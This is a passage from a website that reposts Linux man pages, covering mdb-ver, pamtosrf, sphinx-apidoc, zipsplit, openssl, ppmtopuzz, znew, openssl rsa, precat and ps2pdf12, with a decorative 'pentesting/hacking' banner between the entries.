DESCRIPTION

mdb-ver is a utility program distributed with MDB Tools.

It will return a single line of output corresponding to the program that produced the file: ‘JET3’ (for files produced by Access 97), ‘JET4’ (Access 2000, XP and 2003), ‘ACE12’ (Access 2007), ‘ACE14’ (Access 2010), ‘ACE15’ (Access 2013), or ‘ACE16’ (Access 2016).

OPTIONS

-M, –version
Print the version of mdbtools (rather than the MDB file) and exit.

NOTES

Access changed its format between Jet 3 used in Access 97 and Jet 4 used for Access 2000 and XP. The nature of the changes included moving the page size from 2K to 4K and added support for unicode. MDB Tools actively supports both formats. Newer version are very much like Jet4.

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

HISTORY

mdb-ver first appeared in MDB Tools 0.4.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1)

AUTHORS

The mdb-ver utility was written by Brian Bruns.

BUGS

mdb-ver does minimal checking on the validity of a file. It is possbile for it to misidentify a non-MDB file.

mdb-ver does not recognize Access 2.0 (Jet 2).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

827 - Linux cli command pamtosrf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtosrf and provides detailed information about the command pamtosrf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtosrf.

.

NAME 🖥️ pamtosrf 🖥️

convert a sequence of Netpbm images to a SRF image file

SYNOPSIS

pamtosrf [-verbose] [netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamtosrf reads a Netpbm image stream as input and produces a an SRF image file as output. I don’t know exactly what SRF is, but on popular use of it is in Garmin vehicle information files, which tell a GPS receiver how to depict a vehicle on its display.

An SRF file can contain multiple images; each image in a multi-image Netpbm input stream becomes one image in the SRF.

pamtosrf does not care how many images there are or what their dimensions or content are. However, a Garmin vehicle information file has specific requirements, so if you don’t make your Netpbm input conform, neither will your SRF output. For such a file, you should have two image: the first for 3D oblique views of the vehicle and the second for overhead views. Each image is a horizontal concatenation of 36 square images, each rotated 10 degrees from the previous, thereby covering the full 360 degree circle. You could create this concatenation with pamcat -lr and you could create the individual views with pnmrotate.

One way to use pamtosrf is to get an SRF file, convert it to PAM with srftopam, manipulate it, then convert it back with pamtosrf.

netpbmfile is the input stream, which defaults to Standard Input. Output is always on Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtosrf recognizes the following command line option:

-verbose
Issue informational messages about the input and the conversion process.

SEE ALSO

  • srftopam(1)

  • pamcat(1)

  • pam(1)

HISTORY

srftopam was new in Netpbm 10.55 (June 2011).

It was contributed by Mike Frysinger.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtosrf.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

828 - Linux cli command sphinx-apidoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sphinx-apidoc and provides detailed information about the command sphinx-apidoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sphinx-apidoc.

NAME 🖥️ sphinx-apidoc 🖥️

apidoc - Sphinx API doc generator tool

SYNOPSIS

sphinx-apidoc [OPTIONS] -o <OUTPUT_PATH> <MODULE_PATH> [EXCLUDE_PATTERN …]

DESCRIPTION

sphinx-apidoc is a tool for automatic generation of Sphinx sources that, using the autodoc extension, document a whole package in the style of other automatic API documentation tools.

MODULE_PATH is the path to a Python package to document, and OUTPUT_PATH is the directory where the generated sources are placed. Any EXCLUDE_PATTERNs given are fnmatch-style file and/or directory patterns that will be excluded from generation.

WARNING:

sphinx-apidoc generates source files that use sphinx.ext.autodoc to document all found modules. If any modules have side effects on import, these will be executed by autodoc when sphinx-build is run.

If you document scripts (as opposed to library modules), make sure their main routine is protected by a if __name__ == ‘__main__’ condition.

OPTIONS

-o <OUTPUT_PATH>
Directory to place the output files. If it does not exist, it is created.

-q
Do not output anything on standard output, only write warnings and errors to standard error.

-f, –force
Force overwriting of any existing generated files.

-l, –follow-links
Follow symbolic links. Defaults to False.

-n, –dry-run
Do not create any files.

-s <suffix>
Suffix for the source files generated. Defaults to rst.

-d <MAXDEPTH>
Maximum depth for the generated table of contents file. Defaults to 4.

–tocfile
Filename for a table of contents file. Defaults to modules.

-T, –no-toc
Do not create a table of contents file. Ignored when –full is provided.

-F, –full
Generate a full Sphinx project (conf.py, Makefile etc.) using the same mechanism as sphinx-quickstart.

-e, –separate
Put documentation for each module on its own page.

Added in version 1.2.

-E, –no-headings
Do not create headings for the modules/packages. This is useful, for example, when docstrings already contain headings.

-P, –private
Include “_private” modules.

Added in version 1.2.

–implicit-namespaces
By default sphinx-apidoc processes sys.path searching for modules only. Python 3.3 introduced PEP 420 implicit namespaces that allow module path structures such as foo/bar/module.py or foo/bar/baz/__init__.py (notice that bar and foo are namespaces, not modules).

Interpret paths recursively according to PEP-0420.

-M, –module-first
Put module documentation before submodule documentation.

These options are used when –full is specified:

-a
Append module_path to sys.path.

-H <project>
Sets the project name to put in generated files (see project).

-A <author>
Sets the author name(s) to put in generated files (see copyright).

-V <version>
Sets the project version to put in generated files (see version).

-R <release>
Sets the project release to put in generated files (see release).

Project templating

Added in version 2.2: Project templating options for sphinx-apidoc

-t, –templatedir=TEMPLATEDIR
Template directory for template files. You can modify the templates of sphinx project files generated by apidoc. Following Jinja2 template files are allowed:

  • module.rst_t

  • package.rst_t

  • toc.rst_t

  • root_doc.rst_t

  • conf.py_t

  • Makefile_t

  • Makefile.new_t

  • make.bat_t

  • make.bat.new_t

In detail, please refer the system template files Sphinx provides. (sphinx/templates/apidoc and sphinx/templates/quickstart)

ENVIRONMENT

SPHINX_APIDOC_OPTIONS
A comma-separated list of option to append to generated automodule directives. Defaults to members,undoc-members,show-inheritance.

SEE ALSO

sphinx-build(1), sphinx-autogen(1)

COPYRIGHT

2007-2024, the Sphinx developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

829 - Linux cli command zipsplit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipsplit and provides detailed information about the command zipsplit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipsplit.

NAME 🖥️ zipsplit 🖥️

split a zipfile into smaller zipfiles

SYNOPSIS

zipsplit [-t] [-i] [-p] [-s] [-n size] [-r room] [-b path] [-h] [-v] [-L] zipfile

ARGUMENTS

zipfile Zipfile to split.

OPTIONS

-t
Report how many files it will take, but don’t make them.

-i
Make index (zipsplit.idx) and count its size against first zip file.

-n size
Make zip files no larger than “size” (default = 36000).

-r room
Leave room for “room” bytes on the first disk (default = 0).

-b path
Use path for the output zip files.

-p
Pause between output zip files.

-s
Do a sequential split even if it takes more zip files.

-h
Show a short help.

-v
Show version information.

-L
Show software license.

DESCRIPTION

zipsplit reads a zipfile and splits it into smaller zipfiles.

EXAMPLES

To be filled in.

BUGS

Does not yet support large (> 2 GB) or split archives.

SEE ALSO

zip(1), unzip(1)

AUTHOR

Info-ZIP

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

830 - Linux cli command pkcs12ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs12ssl and provides detailed information about the command pkcs12ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs12ssl.

NAME 🖥️ pkcs12ssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

831 - Linux cli command ppmtopuzz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopuzz and provides detailed information about the command ppmtopuzz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopuzz.

.

NAME 🖥️ ppmtopuzz 🖥️

convert a PPM image to an X11 “puzzle” file

SYNOPSIS

ppmtopuzz

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopuzz reads a PPM image as input and produces an X11 “puzzle” file as output. A “puzzle” file is for use with the puzzle program included with the X11 distribution. puzzle’s -picture option lets you specify an image file.

OPTIONS

There are no command line options defined specifically for ppmtopuzz, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1) , puzzle

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopuzz.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

832 - Linux cli command znew

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command znew and provides detailed information about the command znew, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the znew.

NAME 🖥️ znew 🖥️

recompress .Z files to .gz files

SYNOPSIS

znew [ -ftv9PK] [ name.Z … ]

DESCRIPTION

The Znew command recompresses files from .Z (compress) format to .gz (gzip) format. If you want to recompress a file already in gzip format, rename the file to force a .Z extension then apply znew.

OPTIONS

-f
Force recompression from .Z to .gz format even if a .gz file already exists.

-t
Tests the new files before deleting originals.

-v
Verbose. Display the name and percentage reduction for each file compressed.

-9
Use the slowest compression method (optimal compression).

-P
Use pipes for the conversion to reduce disk space usage.

-K
Keep a .Z file when it is smaller than the .gz file; implies -t.

SEE ALSO

gzip(1), zmore(1), zdiff(1), zgrep(1), zforce(1), gzexe(1), compress(1)

BUGS

If the -P option is used, znew does not maintain the timestamp if touch(1) does not support the -r option, and does not maintain permissions if chmod(1) does not support the –reference option.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

833 - Linux cli command openssl-rsassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-rsassl and provides detailed information about the command openssl-rsassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-rsassl.

NAME 🖥️ openssl-rsassl 🖥️

rsa - RSA key processing command

SYNOPSIS

openssl rsa [-help] [-inform DER|PEM|P12|ENGINE] [-outform DER|PEM] [-in filename|uri] [-passin arg] [-out filename] [-passout arg] [-aes128] [-aes192] [-aes256] [-aria128] [-aria192] [-aria256] [-camellia128] [-camellia192] [-camellia256] [-des] [-des3] [-idea] [-text] [-noout] [-modulus] [-traditional] [-check] [-pubin] [-pubout] [-RSAPublicKey_in] [-RSAPublicKey_out] [-pvk-strong] [-pvk-weak] [-pvk-none] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command processes RSA keys. They can be converted between various forms and their components printed out.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM|P12|ENGINE
The key input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The key output format; the default is PEM. See openssl-format-options (1) for details.

-traditional
When writing a private key, use the traditional PKCS#1 format instead of the PKCS#8 format.

-in filename|uri
This specifies the input to read a key from or standard input if this option is not specified. If the key is encrypted a pass phrase will be prompted for.

-passin arg, -passout arg
The password source for the input and output file. For more information about the format of arg see openssl-passphrase-options (1).

-out filename
This specifies the output filename to write a key to or standard output if this option is not specified. If any encryption options are set then a pass phrase will be prompted for. The output filename should not be the same as the input filename.

-aes128, -aes192, -aes256, -aria128, -aria192, -aria256, -camellia128, -camellia192, -camellia256, -des, -des3, -idea
These options encrypt the private key with the specified cipher before outputting it. A pass phrase is prompted for. If none of these options is specified the key is written in plain text. This means that this command can be used to remove the pass phrase from a key by not giving any encryption option is given, or to add or change the pass phrase by setting them. These options can only be used with PEM format output files.

-text
Prints out the various public or private key components in plain text in addition to the encoded version.

-noout
This option prevents output of the encoded version of the key.

-modulus
This option prints out the value of the modulus of the key.

-check
This option checks the consistency of an RSA private key.

-pubin
By default a private key is read from the input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

-pubout
By default a private key is output: with this option a public key will be output instead. This option is automatically set if the input is a public key.

-RSAPublicKey_in, -RSAPublicKey_out
Like -pubin and -pubout except RSAPublicKey format is used instead.

-pvk-strong
Enable ‘Strong’ PVK encoding level (default).

-pvk-weak
Enable ‘Weak’ PVK encoding level.

-pvk-none
Don’t enforce PVK encoding.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

NOTES

The openssl-pkey (1) command is capable of performing all the operations this command can, as well as supporting other public key types.

EXAMPLES

The documentation for the openssl-pkey (1) command contains examples equivalent to the ones listed here.

To remove the pass phrase on an RSA private key:

openssl rsa -in key.pem -out keyout.pem

To encrypt a private key using triple DES:

openssl rsa -in key.pem -des3 -out keyout.pem

To convert a private key from PEM to DER format:

openssl rsa -in key.pem -outform DER -out keyout.der

To print out the components of a private key to standard output:

openssl rsa -in key.pem -text -noout

To just output the public part of a private key:

openssl rsa -in key.pem -pubout -out pubkey.pem

Output the public part of a private key in RSAPublicKey format:

openssl rsa -in key.pem -RSAPublicKey_out -out pubkey.pem

BUGS

There should be an option that automatically handles .key files, without having to manually edit them.

SEE ALSO

openssl (1), openssl-pkey (1), openssl-pkcs8 (1), openssl-dsa (1), openssl-genrsa (1), openssl-gendsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

834 - Linux cli command precat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command precat and provides detailed information about the command precat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the precat.

NAME 🖥️ precat 🖥️

prefix delta compressor for Aspell

SYNOPSIS

precat [-dzhLV] [-cfksSq] [file …]

DESCRIPTION

prezip is a a prefix delta compressor. It is not a general purpose compressor and should only be used on sorted word lists or other similar text files. It will likely increase the size of binary data.

If invoked as prezip, the default action is to compress. If invoked as preunzip, the default action is to decompress. If invoked as precat, the default action is to decompress to stdout.

If no file names are given then prezip will compress or decompress from the standard input to the standard output. Short flags can be combined so that “-c -s” is the same as “-cs”.

OPTIONS

-h –help
display help

-d –decompress
force decompression

-z –compress
dorce compression

-L –license
display software license

-V –version
display version

-c –stdout
decompress to standard output

-f –force
force

-k –keep
keep input files

-s –sort
sort and remove duplicates before compressing

-S –nocwl
do not rename .wl suffix to .cwl (use .wl.pz instead)

-q –quiet
suppress all warnings

AUTHOR

This manual page was written by Brian Nelson <[email protected]> based on the output of help2man. Aspell is Copyright © 2002 Kevin Atkinson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

835 - Linux cli command ps2pdf12

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pdf12 and provides detailed information about the command ps2pdf12, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pdf12.

NAME 🖥️ ps2pdf12 🖥️

Convert PostScript to PDF using ghostscript
ps2pdf12 - Convert PostScript to PDF 1.2 (Acrobat 3-and-later compatible) using ghostscript
ps2pdf13 - Convert PostScript to PDF 1.3 (Acrobat 4-and-later compatible) using ghostscript
ps2pdf14 - Convert PostScript to PDF 1.4 (Acrobat 5-and-later compatible) using ghostscript

SYNOPSIS

ps2pdf [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf12 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf13 [options…] {input.[e]ps|-} [output.pdf|-]
ps2pdf14 [options…] {input.[e]ps|-} [output.pdf|-]

DESCRIPTION

The ps2pdf scripts are work-alikes for nearly all the functionality (but not the user interface) of Adobe’s Acrobat(TM) Distiller(TM) product: they convert PostScript files to Portable Document Format (PDF) files.

If the output filename is not specified, the output is placed in a file of the same name with a ‘.pdf’ extension in the current working directory. Either the input filename or the output filename can be ‘-’ to request reading from stdin or writing to stdout, respectively, when used as a filter.

The three scripts differ as follows:

  • ps2pdf12 will always produce PDF 1.2 output (Acrobat 3-and-later compatible).

  • ps2pdf13 will always produce PDF 1.3 output (Acrobat 4-and-later compatible).

  • ps2pdf14 will always produce PDF 1.4 output (Acrobat 5-and-later compatible).

  • ps2pdf per se currently produces PDF 1.4 output. However, this may change in the future. If you care about the compatibility level of the output, use ps2pdf12, ps2pdf13 or ps2pdf14, or use the -dCompatibilityLevel=1.x switch in the command line.

There are some limitations in ps2pdf’s conversion. See the HTML documentation for more information. A large number of Adobe Distiller(TM) parameters which can be used to control the conversion are also documented there, including instructions for generating PDF/X and PDF/A documents.

OPTIONS

The ps2pdf scripts use the same options as gs(1).

EXAMPLES

Converting a figure.ps to figure.pdf:

ps2pdf figure.ps

A conversion with more specifics:

ps2pdf -dPDFSETTINGS=/prepress figure.ps proof.pdf

Converting as part of a pipe:

make_report.pl -t ps | ps2pdf -dCompatibilityLevel=1.3 - - | lpr

SEE ALSO

gs(1), ps2pdfwr(1),
VectorDevices.htm in the Ghostscript documentation

BUGS

See http://bugs.ghostscript.com/ and the Usenet news group comp.lang.postscript.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
